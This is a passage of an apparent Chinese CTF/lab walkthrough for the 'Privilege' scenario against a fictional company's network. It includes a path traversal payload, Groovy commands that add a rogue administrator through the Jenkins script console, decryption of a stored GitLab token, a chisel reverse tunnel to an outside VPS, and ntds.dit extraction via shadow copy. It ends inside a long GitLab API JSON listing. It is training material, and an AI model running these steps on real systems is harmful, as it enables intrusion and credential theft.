[[春秋云境] Privilege仿真场景

亿.62025-05-20 12:43

文章目录

靶标介绍：

在这个靶场中，您将扮演一名资深黑客，被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用，并通过后渗透技巧深入 XR Shop 的内部网络，寻找潜在的弱点和漏洞，并通过滥用 Windows 特权获取管理员权限，最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag，分布于不同的靶机。

考点

  • 信息泄露
  • Jenkins初始管理员密码
  • jenkins后台RCE
  • Gitlab API Token
  • Oracle RCE
  • SeRestorePrivilege提权
  • SPN
  • 卷影拷贝提取SAM

题目给的一些相关信息

第一关

复制代码 
请获取 XR Shop 官网源码的备份文件，并尝试获得系统上任意文件读取的能力。并且，管理员在配置 Jenkins 时，仍然选择了使用初始管理员密码，请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins。

第二关

复制代码 
管理员为 Jenkins 配置了 Gitlab，请尝试获取 Gitlab API Token，并最终获取 Gitlab 中的敏感仓库。获取敏感信息后，尝试连接至 Oracle 数据库，并获取 ORACLE 服务器控制权限。

第三关

复制代码 
攻击办公区内网，获取办公 PC 控制权限，并通过特权滥用提升至 SYSTEM 权限。

第四关

复制代码 
尝试接管备份管理操作员帐户，并通过转储 NTDS 获得域管理员权限，最终控制整个域环境。

知识点

卷影拷贝(VSS)

利用 SeBackupPrivilege特权通过卷影拷贝读取系统受保护文件

  • VSS 是 Windows 提供的功能，用于创建文件系统的快照（snapshot），包括正在使用的文件。

  • SeBackupPrivilege 允许用户创建卷影拷贝并访问快照中的文件，即使这些文件在正常情况下被锁定或受 ACL 限制。

  • 通过 VSS，可以读取 SAM 文件的副本，而无需直接访问原始文件。

一般利用步骤

  1. 创建并上传卷影拷贝脚本

本地创建 raj.dsh，写入以下内容

复制代码 
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

脚本作用: 生成 C 盘的卷影拷贝并将其挂载为 Z: 盘

set context persistent nowriters

  • 设置卷影拷贝为持久模式（persistent），确保快照不会在脚本结束后自动删除
  • nowriters 避免备份过程中被写入操作干扰（如数据库文件正在被修改）

add volume c: alias raj

  • 指定 C 盘为卷影拷贝的目标，并给快照取别名 raj。

create

  • 执行创建卷影拷贝的操作，生成 C 盘的快照。

expose %raj% z:

  • 将快照挂载为 Z: 盘，允许访问快照中的文件系统。

使用 unix2dos 转换格式

复制代码 
unix2dos raj.dsh

unix2dos 转换脚本的换行符格式，从 Unix 风格（LF）转换为 Windows 风格（CRLF），确保脚本在 Windows 环境中正确执行。

  1. 执行卷影拷贝

    diskshadow /s raj.dsh

运行 diskshadow 工具，执行 raj.dsh 脚本，创建 C 盘的卷影拷贝并挂载为 Z: 盘

  1. 复制文件 (比如域控服务器里面的ntds.dit 文件)

    RoboCopy /b z:\windows\ntds . ntds.dit

使用 RoboCopy 工具，以备份模式（/b）从卷影拷贝（Z: 盘）的 Z:\Windows\NTDS 目录复制 ntds.dit 文件到当前目录

RoboCopy：Windows 的高级文件复制工具，支持备份模式和 ACL 处理。

/b：备份模式，利用 SeBackupPrivilege 绕过文件 ACL 和锁定，允许复制受保护文件

z:\windows\ntds：源路径

.: 表示当前目录

ntds.dit: 要复制的具体文件

复制代码 
ntds.dit 是 Active Directory 的核心数据库，存储域内所有对象的信息，包括：
用户账户（用户名、SID、NTLM 哈希、Kerberos 密钥等）。
计算机账户。
组和权限信息。

外网

任意文件读取

fscan扫描一下

发现80端口wordpress的站点有源码泄露, 下载下来审计一下, 可以发现存在一个任意文件读取漏洞, 没有任何过滤

尝试读取flag (可以后面rdp登录后直接拿)

复制代码 
/tools/content-log.php?logfile=../../../../../../../../../Users\Administrator\flag\flag01.txt

根据第一关的提示, 读取Jenkins的密码, 告诉了Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins

在 Jenkins 的默认配置中，初始管理员密码存储在 Jenkins 配置目录下的 secrets 子目录中的 initialAdminPassword 文件中

所以需要读取文件 C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

复制代码 
/tools/content-log.php?logfile=../../../../../../../../../ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

拿到密码: 510235cf43f14e83b88a9f144199655b

Jenkins管理员后台

拿到了密码就可以登录其8080端口了(fscan可以扫出来)

admin / 510235cf43f14e83b88a9f144199655b

​

jenkins在manage/script 路径下提供了一个脚本控制台,允许管理员在 Jenkins 实例上执行脚本代码, 常用的语言是 Groovy, 也能执行shell命令

复制代码 
http://39.99.129.242:8080/manage/script

权限很高

添加一个管理员用户, 方便rdp登录上去

复制代码 
println("net user xpw 123qwe! /add".execute().text)
println("net localgroup administrators xpw /add".execute().text)

rdp远程登录

传个fscan上去扫描一下内网 (用windows远程桌面连接默认共享c盘文件, 直接把工具放在这上面就行)

复制代码 
[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.7     存活 (ICMP)
[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.11    存活 (ICMP)
[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.16    存活 (ICMP)
[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.31    存活 (ICMP)
[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.46    存活 (ICMP)
[2025-05-14 01:23:21] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.7
主机名: XR-JENKINS
发现的网络接口:
   IPv4地址:
      └─ 172.22.14.7
[2025-05-14 01:23:21] [SUCCESS] 网站标题 http://172.22.14.7        状态码:200 长度:54603  标题:XR SHOP
[2025-05-14 01:23:21] [SUCCESS] 网站标题 http://172.22.14.46       状态码:200 长度:703    标题:IIS Windows Server
[2025-05-14 01:23:21] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.31
主机名: XR-ORACLE
发现的网络接口:
   IPv4地址:
      └─ 172.22.14.31
[2025-05-14 01:23:21] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.11
主机名: XR-DC
发现的网络接口:
   IPv4地址:
      └─ 172.22.14.11
[2025-05-14 01:23:21] [SUCCESS] 网站标题 http://172.22.14.7:8080   状态码:403 长度:548    标题:无标题
[2025-05-14 01:23:21] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.46
主机名: XR-0923
发现的网络接口:
   IPv4地址:
      └─ 172.22.14.46
[2025-05-14 01:23:21] [SUCCESS] NetBios 172.22.14.46    XIAORANG\XR-0923
[2025-05-14 01:23:21] [SUCCESS] NetBios 172.22.14.31    WORKGROUP\XR-ORACLE
[2025-05-14 01:23:21] [SUCCESS] NetBios 172.22.14.11    DC:XIAORANG\XR-DC
[2025-05-14 01:23:21] [SUCCESS] 网站标题 http://172.22.14.16       状态码:302 长度:99     标题:无标题 重定向地址: http://172.22.14.16/users/sign_in
[2025-05-14 01:23:22] [SUCCESS] 网站标题 http://172.22.14.16:8060  状态码:404 长度:555    标题:404 Not Found
[2025-05-14 01:23:27] [SUCCESS] 检测到漏洞 http://172.22.14.7:80/www.zip poc-yaml-backup-file 参数:[{path www} {ext zip}]

172.22.14.7 	本机，已最高权限
172.22.14.46 	XIAORANG\XR-0923
172.22.14.11	DC:XIAORANG\XR-DC
172.22.14.31 	WORKGROUP\XR-ORACLE
172.22.14.16 	GitLab

Gitlab apiToken

根据题目里面的描述

管理员为 Jenkins 配置了 Gitlab，请尝试获取 Gitlab API Token，并最终获取 Gitlab 中的敏感仓库。获取敏感信息后，尝试连接至 Oracle 数据库，并获取 ORACLE 服务器控制权限。

寻找api token,翻看一下它配置目录下的一些文件去找

复制代码 
C:/ProgramData/Jenkins/.jenkins/credentials.xml

<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="[email protected]">
  <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
    <entry>
      <com.cloudbees.plugins.credentials.domains.Domain>
        <specifications/>
      </com.cloudbees.plugins.credentials.domains.Domain>
      <java.util.concurrent.CopyOnWriteArrayList>
        <com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl plugin="[email protected]">
          <scope>GLOBAL</scope>
          <id>9eca4a05-e058-4810-b952-bd6443e6d9a8</id>
          <description></description>
          <apiToken>{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}</apiToken>
        </com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl>
      </java.util.concurrent.CopyOnWriteArrayList>
    </entry>
  </domainCredentialsMap>
</com.cloudbees.plugins.credentials.SystemCredentialsProvider>

这个文件里面可以找到apiToken

复制代码 
AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh

回jenkins脚本控制台那里解密一下, 参考如何从credentials.xml中解密Jenkins密码 - bestsrc

复制代码 
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

得到明文

复制代码 
glpat-7kD_qLH2PiQv_ywB9hz2

接下来可以利用这个token访问gitlab的一些信息

内网

搭建代理

先利用chisel搭建代理

服务端(vps)

复制代码 
./chisel server -p 8888 --reverse

客户端(受控主机)

复制代码 
chisel.exe client 8.154.17.163:8888 R:0.0.0.0:9383:socks

Oracle RCE

用API列出有权限访问的项目

复制代码 
proxychains4 curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"

[
  {
    "id": 6,
    "description": null,
    "name": "Internal Secret",
    "name_with_namespace": "XRLAB / Internal Secret",
    "path": "internal-secret",
    "path_with_namespace": "xrlab/internal-secret",
    "created_at": "2022-12-25T08:30:12.362Z",
    "default_branch": "main",
    "tag_list": [],
    "topics": [],
    "ssh_url_to_repo": "[email protected]:xrlab/internal-secret.git",
    "http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/internal-secret.git",
    "web_url": "http://gitlab.xiaorang.lab/xrlab/internal-secret",
    "readme_url": null,
    "avatar_url": null,
    "forks_count": 0,
    "star_count": 0,
    "last_activity_at": "2022-12-25T08:30:12.362Z",
    "namespace": {
      "id": 8,
      "name": "XRLAB",
      "path": "xrlab",
      "kind": "group",
      "full_path": "xrlab",
      "parent_id": null,
      "avatar_url": null,
      "web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
    },
    "_links": {
      "self": "http://gitlab.xiaorang.lab/api/v4/projects/6",
      "issues": "http://gitlab.xiaorang.lab/api/v4/projects/6/issues",
      "merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/6/merge_requests",
      "repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/6/repository/branches",
      "labels": "http://gitlab.xiaorang.lab/api/v4/projects/6/labels",
      "events": "http://gitlab.xiaorang.lab/api/v4/projects/6/events",
      "members": "http://gitlab.xiaorang.lab/api/v4/projects/6/members",
      "cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/6/cluster_agents"
    },
    "packages_enabled": true,
    "empty_repo": false,
    "archived": false,
    "visibility": "private",
    "resolve_outdated_diff_discussions": false,
    "container_expiration_policy": {
      "cadence": "1d",
      "enabled": false,
      "keep_n": 10,
      "older_than": "90d",
      "name_regex": ".*",
      "name_regex_keep": null,
      "next_run_at": "2022-12-26T08:30:12.373Z"
    },
    "issues_enabled": true,
    "merge_requests_enabled": true,
    "wiki_enabled": true,
    "jobs_enabled": true,
    "snippets_enabled": true,
    "container_registry_enabled": true,
    "service_desk_enabled": false,
    "service_desk_address": null,
    "can_create_merge_request_in": true,
    "issues_access_level": "enabled",
    "repository_access_level": "enabled",
    "merge_requests_access_level": "enabled",
    "forking_access_level": "enabled",
    "wiki_access_level": "enabled",
    "builds_access_level": "enabled",
    "snippets_access_level": "enabled",
    "pages_access_level": "private",
    "operations_access_level": "enabled",
    "analytics_access_level": "enabled",
    "container_registry_access_level": "enabled",
    "security_and_compliance_access_level": "private",
    "releases_access_level": "enabled",
    "environments_access_level": "enabled",
    "feature_flags_access_level": "enabled",
    "infrastructure_access_level": "enabled",
    "monitor_access_level": "enabled",
    "emails_disabled": null,
    "shared_runners_enabled": true,
    "lfs_enabled": true,
    "creator_id": 2,
    "import_url": null,
    "import_type": null,
    "import_status": "none",
    "open_issues_count": 0,
    "ci_default_git_depth": 20,
    "ci_forward_deployment_enabled": true,
    "ci_job_token_scope_enabled": false,
    "ci_separated_caches": true,
    "ci_opt_in_jwt": false,
    "ci_allow_fork_pipelines_to_run_in_parent_project": true,
    "public_jobs": true,
    "build_timeout": 3600,
    "auto_cancel_pending_pipelines": "enabled",
    "ci_config_path": null,
    "shared_with_groups": [],
    "only_allow_merge_if_pipeline_succeeds": false,
    "allow_merge_on_skipped_pipeline": null,
    "restrict_user_defined_variables": false,
    "request_access_enabled": true,
    "only_allow_merge_if_all_discussions_are_resolved": false,
    "remove_source_branch_after_merge": true,
    "printing_merge_request_link_enabled": true,
    "merge_method": "merge",
    "squash_option": "default_off",
    "enforce_auth_checks_on_uploads": true,
    "suggestion_commit_message": null,
    "merge_commit_template": null,
    "squash_commit_template": null,
    "issue_branch_template": null,
    "auto_devops_enabled": true,
    "auto_devops_deploy_strategy": "continuous",
    "autoclose_referenced_issues": true,
    "keep_latest_artifact": true,
    "runner_token_expiration_interval": null,
    "permissions": {
      "project_access": null,
      "group_access": {
        "access_level": 50,
        "notification_level": 3
      }
    }
  },
  {
    "id": 4,
    "description": null,
    "name": "XRAdmin",
    "name_with_namespace": "XRLAB / XRAdmin",
    "path": "xradmin",
    "path_with_namespace": "xrlab/xradmin",
    "created_at": "2022-12-25T07:48:16.751Z",
    "default_branch": "main",
    "tag_list": [],
    "topics": [],
    "ssh_url_to_repo": "[email protected]:xrlab/xradmin.git",
    "http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xradmin.git",
    "web_url": "http://gitlab.xiaorang.lab/xrlab/xradmin",
    "readme_url": "http://gitlab.xiaorang.lab/xrlab/xradmin/-/blob/main/README.md",
    "avatar_url": null,
    "forks_count": 0,
    "star_count": 0,
    "last_activity_at": "2023-05-30T10:27:31.762Z",
    "namespace": {
      "id": 8,
      "name": "XRLAB",
      "path": "xrlab",
      "kind": "group",
      "full_path": "xrlab",
      "parent_id": null,
      "avatar_url": null,
      "web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
    },
    "_links": {
      "self": "http://gitlab.xiaorang.lab/api/v4/projects/4",
      "issues": "http://gitlab.xiaorang.lab/api/v4/projects/4/issues",
      "merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/4/merge_requests",
      "repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/4/repository/branches",
      "labels": "http://gitlab.xiaorang.lab/api/v4/projects/4/labels",
      "events": "http://gitlab.xiaorang.lab/api/v4/projects/4/events",
      "members": "http://gitlab.xiaorang.lab/api/v4/projects/4/members",
      "cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/4/cluster_agents"
    },
    "packages_enabled": true,
    "empty_repo": false,
    "archived": false,
    "visibility": "private",
    "resolve_outdated_diff_discussions": false,
    "container_expiration_policy": {
      "cadence": "1d",
      "enabled": false,
      "keep_n": 10,
      "older_than": "90d",
      "name_regex": ".*",
      "name_regex_keep": null,
      "next_run_at": "2022-12-26T07:48:16.788Z"
    },
    "issues_enabled": true,
    "merge_requests_enabled": true,
    "wiki_enabled": true,
    "jobs_enabled": true,
    "snippets_enabled": true,
    "container_registry_enabled": true,
    "service_desk_enabled": false,
    "service_desk_address": null,
    "can_create_merge_request_in": true,
    "issues_access_level": "enabled",
    "repository_access_level": "enabled",
    "merge_requests_access_level": "enabled",
    "forking_access_level": "enabled",
    "wiki_access_level": "enabled",
    "builds_access_level": "enabled",
    "snippets_access_level": "enabled",
    "pages_access_level": "private",
    "operations_access_level": "enabled",
    "analytics_access_level": "enabled",
    "container_registry_access_level": "enabled",
    "security_and_compliance_access_level": "private",
    "releases_access_level": "enabled",
    "environments_access_level": "enabled",
    "feature_flags_access_level": "enabled",
    "infrastructure_access_level": "enabled",
    "monitor_access_level": "enabled",
    "emails_disabled": null,
    "shared_runners_enabled": true,
    "lfs_enabled": true,
    "creator_id": 2,
    "import_url": null,
    "import_type": null,
    "import_status": "none",
    "open_issues_count": 0,
    "ci_default_git_depth": 20,
    "ci_forward_deployment_enabled": true,
    "ci_job_token_scope_enabled": false,
    "ci_separated_caches": true,
    "ci_opt_in_jwt": false,
    "ci_allow_fork_pipelines_to_run_in_parent_project": true,
    "public_jobs": true,
    "build_timeout": 3600,
    "auto_cancel_pending_pipelines": "enabled",
    "ci_config_path": null,
    "shared_with_groups": [],
    "only_allow_merge_if_pipeline_succeeds": false,
    "allow_merge_on_skipped_pipeline": null,
    "restrict_user_defined_variables": false,
    "request_access_enabled": true,
    "only_allow_merge_if_all_discussions_are_resolved": false,
    "remove_source_branch_after_merge": true,
    "printing_merge_request_link_enabled": true,
    "merge_method": "merge",
    "squash_option": "default_off",
    "enforce_auth_checks_on_uploads": true,
    "suggestion_commit_message": null,
    "merge_commit_template": null,
    "squash_commit_template": null,
    "issue_branch_template": null,
    "auto_devops_enabled": false,
    "auto_devops_deploy_strategy": "continuous",
    "autoclose_referenced_issues": true,
    "keep_latest_artifact": true,
    "runner_token_expiration_interval": null,
    "permissions": {
      "project_access": null,
      "group_access": {
        "access_level": 50,
        "notification_level": 3
      }
    }
  },
  {
    "id": 3,
    "description": null,
    "name": "Awenode",
    "name_with_namespace": "XRLAB / Awenode",
    "path": "awenode",
    "path_with_namespace": "xrlab/awenode",
    "created_at": "2022-12-25T07:46:43.635Z",
    "default_branch": "master",
    "tag_list": [],
    "topics": [],
    "ssh_url_to_repo": "[email protected]:xrlab/awenode.git",
    "http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/awenode.git",
    "web_url": "http://gitlab.xiaorang.lab/xrlab/awenode",
    "readme_url": "http://gitlab.xiaorang.lab/xrlab/awenode/-/blob/master/README.md",
    "avatar_url": null,
    "forks_count": 0,
    "star_count": 0,
    "last_activity_at": "2022-12-25T07:46:43.635Z",
    "namespace": {
      "id": 8,
      "name": "XRLAB",
      "path": "xrlab",
      "kind": "group",
      "full_path": "xrlab",
      "parent_id": null,
      "avatar_url": null,
      "web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
    },
    "_links": {
      "self": "http://gitlab.xiaorang.lab/api/v4/projects/3",
      "issues": "http://gitlab.xiaorang.lab/api/v4/projects/3/issues",
      "merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/3/merge_requests",
      "repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/3/repository/branches",
      "labels": "http://gitlab.xiaorang.lab/api/v4/projects/3/labels",
      "events": "http://gitlab.xiaorang.lab/api/v4/projects/3/events",
      "members": "http://gitlab.xiaorang.lab/api/v4/projects/3/members",
      "cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/3/cluster_agents"
    },
    "packages_enabled": true,
    "empty_repo": false,
    "archived": false,
    "visibility": "private",
    "resolve_outdated_diff_discussions": false,
    "container_expiration_policy": {
      "cadence": "1d",
      "enabled": false,
      "keep_n": 10,
      "older_than": "90d",
      "name_regex": ".*",
      "name_regex_keep": null,
      "next_run_at": "2022-12-26T07:46:44.614Z"
    },
    "issues_enabled": true,
    "merge_requests_enabled": true,
    "wiki_enabled": true,
    "jobs_enabled": true,
    "snippets_enabled": true,
    "container_registry_enabled": true,
    "service_desk_enabled": false,
    "service_desk_address": null,
    "can_create_merge_request_in": true,
    "issues_access_level": "enabled",
    "repository_access_level": "enabled",
    "merge_requests_access_level": "enabled",
    "forking_access_level": "enabled",
    "wiki_access_level": "enabled",
    "builds_access_level": "enabled",
    "snippets_access_level": "enabled",
    "pages_access_level": "private",
    "operations_access_level": "enabled",
    "analytics_access_level": "enabled",
    "container_registry_access_level": "enabled",
    "security_and_compliance_access_level": "private",
    "releases_access_level": "enabled",
    "environments_access_level": "enabled",
    "feature_flags_access_level": "enabled",
    "infrastructure_access_level": "enabled",
    "monitor_access_level": "enabled",
    "emails_disabled": null,
    "shared_runners_enabled": true,
    "lfs_enabled": true,
    "creator_id": 2,
    "import_url": null,
    "import_type": "gitlab_project",
    "import_status": "finished",
    "open_issues_count": 0,
    "ci_default_git_depth": 20,
    "ci_forward_deployment_enabled": true,
    "ci_job_token_scope_enabled": false,
    "ci_separated_caches": true,
    "ci_opt_in_jwt": false,
    "ci_allow_fork_pipelines_to_run_in_parent_project": true,
    "public_jobs": true,
    "build_timeout": 3600,
    "auto_cancel_pending_pipelines": "enabled",
    "ci_config_path": null,
    "shared_with_groups": [],
    "only_allow_merge_if_pipeline_succeeds": false,
    "allow_merge_on_skipped_pipeline": null,
    "restrict_user_defined_variables": false,
    "request_access_enabled": true,
    "only_allow_merge_if_all_discussions_are_resolved": false,
    "remove_source_branch_after_merge": true,
    "printing_merge_request_link_enabled": true,
    "merge_method": "merge",
    "squash_option": "default_off",
    "enforce_auth_checks_on_uploads": true,
    "suggestion_commit_message": null,
    "merge_commit_template": null,
    "squash_commit_template": null,
    "issue_branch_template": null,
    "auto_devops_enabled": true,
    "auto_devops_deploy_strategy": "continuous",
    "autoclose_referenced_issues": true,
    "keep_latest_artifact": true,
    "runner_token_expiration_interval": null,
    "permissions": {
      "project_access": {
        "access_level": 40,
        "notification_level": null
      },
      "group_access": {
        "access_level": 50,
        "notification_level": 3
      }
    }
  },
  {
    "id": 2,
    "description": "Example GitBook site using GitLab Pages: https://pages.gitlab.io/gitbook",
    "name": "XRWiki",
    "name_with_namespace": "XRLAB / XRWiki",
    "path": "xrwiki",
    "path_with_namespace": "xrlab/xrwiki",
    "created_at": "2022-12-25T07:44:18.589Z",
    "default_branch": "master",
    "tag_list": [],
    "topics": [],
    "ssh_url_to_repo": "[email protected]:xrlab/xrwiki.git",
    "http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xrwiki.git",
    "web_url": "http://gitlab.xiaorang.lab/xrlab/xrwiki",
    "readme_url": "http://gitlab.xiaorang.lab/xrlab/xrwiki/-/blob/master/README.md",
    "avatar_url": "http://gitlab.xiaorang.lab/uploads/-/system/project/avatar/2/gitbook.png",
    "forks_count": 0,
    "star_count": 0,
    "last_activity_at": "2022-12-25T07:44:18.589Z",
    "namespace": {
      "id": 8,
      "name": "XRLAB",
      "path": "xrlab",
      "kind": "group",
      "full_path": "xrlab",
      "parent_id": null,
      "avatar_url": null,
      "web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
    },
    "_links": {
      "self": "http://gitlab.xiaorang.lab/api/v4/projects/2",
      "issues": "http://gitlab.xiaorang.lab/api/v4/projects/2/issues",
      "merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/2/merge_requests",
      "repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/2/repository/branches",
      "labels": "http://gitlab.xiaorang.lab/api/v4/projects/2/labels",
      "events": "http://gitlab.xiaorang.lab/api/v4/projects/2/events",
      "members": "http://gitlab.xiaorang.lab/api/v4/projects/2/members",
      "cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/2/cluster_agents"
    },
    "packages_enabled": true,
    "empty_repo": false,
    "archived": false,
    "visibility": "private",
    "resolve_outdated_diff_discussions": null,
    "container_expiration_policy": {
      "cadence": "1d",
      "enabled": false,
      "keep_n": 10,
      "older_than": "90d",
      "name_regex": ".*",
      "name_regex_keep": null,
      "next_run_at": "2022-12-26T07:44:18.627Z"
    },
    "issues_enabled": true,
    "merge_requests_enabled": true,
    "wiki_enabled": false,
    "jobs_enabled": true,
    "snippets_enabled": false,
    "container_registry_enabled": false,
    "service_desk_enabled": false,
    "service_desk_address": null,
    "can_create_merge_request_in": true,
    "issues_access_level": "enabled",
    "repository_access_level": "enabled",
    "merge_requests_access_level": "enabled",
    "forking_access_level": "enabled",
    "wiki_access_level": "disabled",
    "builds_access_level": "enabled",
    "snippets_access_level": "disabled",
    "pages_access_level": "public",
    "operations_access_level": "enabled",
    "analytics_access_level": "enabled",
    "container_registry_access_level": "disabled",
    "security_and_compliance_access_level": "private",
    "releases_access_level": "enabled",
    "environments_access_level": "enabled",
    "feature_flags_access_level": "enabled",
    "infrastructure_access_level": "enabled",
    "monitor_access_level": "enabled",
    "emails_disabled": null,
    "shared_runners_enabled": true,
    "lfs_enabled": true,
    "creator_id": 2,
    "import_url": null,
    "import_type": "gitlab_project",
    "import_status": "finished",
    "open_issues_count": 0,
    "ci_default_git_depth": 20,
    "ci_forward_deployment_enabled": true,
    "ci_job_token_scope_enabled": false,
    "ci_separated_caches": true,
    "ci_opt_in_jwt": false,
    "ci_allow_fork_pipelines_to_run_in_parent_project": true,
    "public_jobs": true,
    "build_timeout": 3600,
    "auto_cancel_pending_pipelines": "enabled",
    "ci_config_path": null,
    "shared_with_groups": [],
    "only_allow_merge_if_pipeline_succeeds": false,
    "allow_merge_on_skipped_pipeline": null,
    "restrict_user_defined_variables": false,
    "request_access_enabled": false,
    "only_allow_merge_if_all_discussions_are_resolved": false,
    "remove_source_branch_after_merge": true,
    "printing_merge_request_link_enabled": true,
    "merge_method": "merge",
    "squash_option": "default_off",
    "enforce_auth_checks_on_uploads": true,
    "suggestion_commit_message": null,
    "merge_commit_template": null,
    "squash_commit_template": null,
    "issue_branch_template": null,
    "auto_devops_enabled": true,
    "auto_devops_deploy_strategy": "continuous",
    "autoclose_referenced_issues": true,
    "keep_latest_artifact": true,
    "runner_token_expiration_interval": null,
    "permissions": {
      "project_access": {
        "access_level": 40,
        "notification_level": null
      },
      "group_access": {
        "access_level": 50,
        "notification_level": 3
      }
    }
  },
  {
    "id": 1,
    "description": "This project is automatically generated and helps monitor this GitLab instance. [Learn more](/help/administration/monitoring/gitlab_self_monitoring_project/index).",
    "name": "Monitoring",
    "name_with_namespace": "GitLab Instance / Monitoring",
    "path": "Monitoring",
    "path_with_namespace": "gitlab-instance-23352f48/Monitoring",
    "created_at": "2022-12-25T07:18:20.914Z",
    "default_branch": "main",
    "tag_list": [],
    "topics": [],
    "ssh_url_to_repo": "[email protected]:gitlab-instance-23352f48/Monitoring.git",
    "http_url_to_repo": "http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring.git",
    "web_url": "http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring",
    "readme_url": null,
    "avatar_url": null,
    "forks_count": 0,
    "star_count": 0,
    "last_activity_at": "2022-12-25T07:18:20.914Z",
    "namespace": {
      "id": 2,
      "name": "GitLab Instance",
      "path": "gitlab-instance-23352f48",
      "kind": "group",
      "full_path": "gitlab-instance-23352f48",
      "parent_id": null,
      "avatar_url": null,
      "web_url": "http://gitlab.xiaorang.lab/groups/gitlab-instance-23352f48"
    },
    "_links": {
      "self": "http://gitlab.xiaorang.lab/api/v4/projects/1",
      "issues": "http://gitlab.xiaorang.lab/api/v4/projects/1/issues",
      "merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/1/merge_requests",
      "repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/1/repository/branches",
      "labels": "http://gitlab.xiaorang.lab/api/v4/projects/1/labels",
      "events": "http://gitlab.xiaorang.lab/api/v4/projects/1/events",
      "members": "http://gitlab.xiaorang.lab/api/v4/projects/1/members",
      "cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/1/cluster_agents"
    },
    "packages_enabled": true,
    "empty_repo": true,
    "archived": false,
    "visibility": "internal",
    "resolve_outdated_diff_discussions": false,
    "container_expiration_policy": {
      "cadence": "1d",
      "enabled": false,
      "keep_n": 10,
      "older_than": "90d",
      "name_regex": ".*",
      "name_regex_keep": null,
      "next_run_at": "2022-12-26T07:18:21.108Z"
    },
    "issues_enabled": true,
    "merge_requests_enabled": true,
    "wiki_enabled": true,
    "jobs_enabled": true,
    "snippets_enabled": true,
    "container_registry_enabled": true,
    "service_desk_enabled": false,
    "can_create_merge_request_in": true,
    "issues_access_level": "enabled",
    "repository_access_level": "enabled",
    "merge_requests_access_level": "enabled",
    "forking_access_level": "enabled",
    "wiki_access_level": "enabled",
    "builds_access_level": "enabled",
    "snippets_access_level": "enabled",
    "pages_access_level": "private",
    "operations_access_level": "enabled",
    "analytics_access_level": "enabled",
    "container_registry_access_level": "enabled",
    "security_and_compliance_access_level": "private",
    "releases_access_level": "enabled",
    "environments_access_level": "enabled",
    "feature_flags_access_level": "enabled",
    "infrastructure_access_level": "enabled",
    "monitor_access_level": "enabled",
    "emails_disabled": null,
    "shared_runners_enabled": true,
    "lfs_enabled": true,
    "creator_id": 1,
    "import_status": "none",
    "open_issues_count": 0,
    "ci_default_git_depth": 20,
    "ci_forward_deployment_enabled": true,
    "ci_job_token_scope_enabled": false,
    "ci_separated_caches": true,
    "ci_opt_in_jwt": false,
    "ci_allow_fork_pipelines_to_run_in_parent_project": true,
    "public_jobs": true,
    "build_timeout": 3600,
    "auto_cancel_pending_pipelines": "enabled",
    "ci_config_path": null,
    "shared_with_groups": [],
    "only_allow_merge_if_pipeline_succeeds": false,
    "allow_merge_on_skipped_pipeline": null,
    "restrict_user_defined_variables": false,
    "request_access_enabled": true,
    "only_allow_merge_if_all_discussions_are_resolved": false,
    "remove_source_branch_after_merge": true,
    "printing_merge_request_link_enabled": true,
    "merge_method": "merge",
    "squash_option": "default_off",
    "enforce_auth_checks_on_uploads": true,
    "suggestion_commit_message": null,
    "merge_commit_template": null,
    "squash_commit_template": null,
    "issue_branch_template": null,
    "auto_devops_enabled": true,
    "auto_devops_deploy_strategy": "continuous",
    "autoclose_referenced_issues": true,
    "keep_latest_artifact": true,
    "runner_token_expiration_interval": null,
    "permissions": {
      "project_access": null,
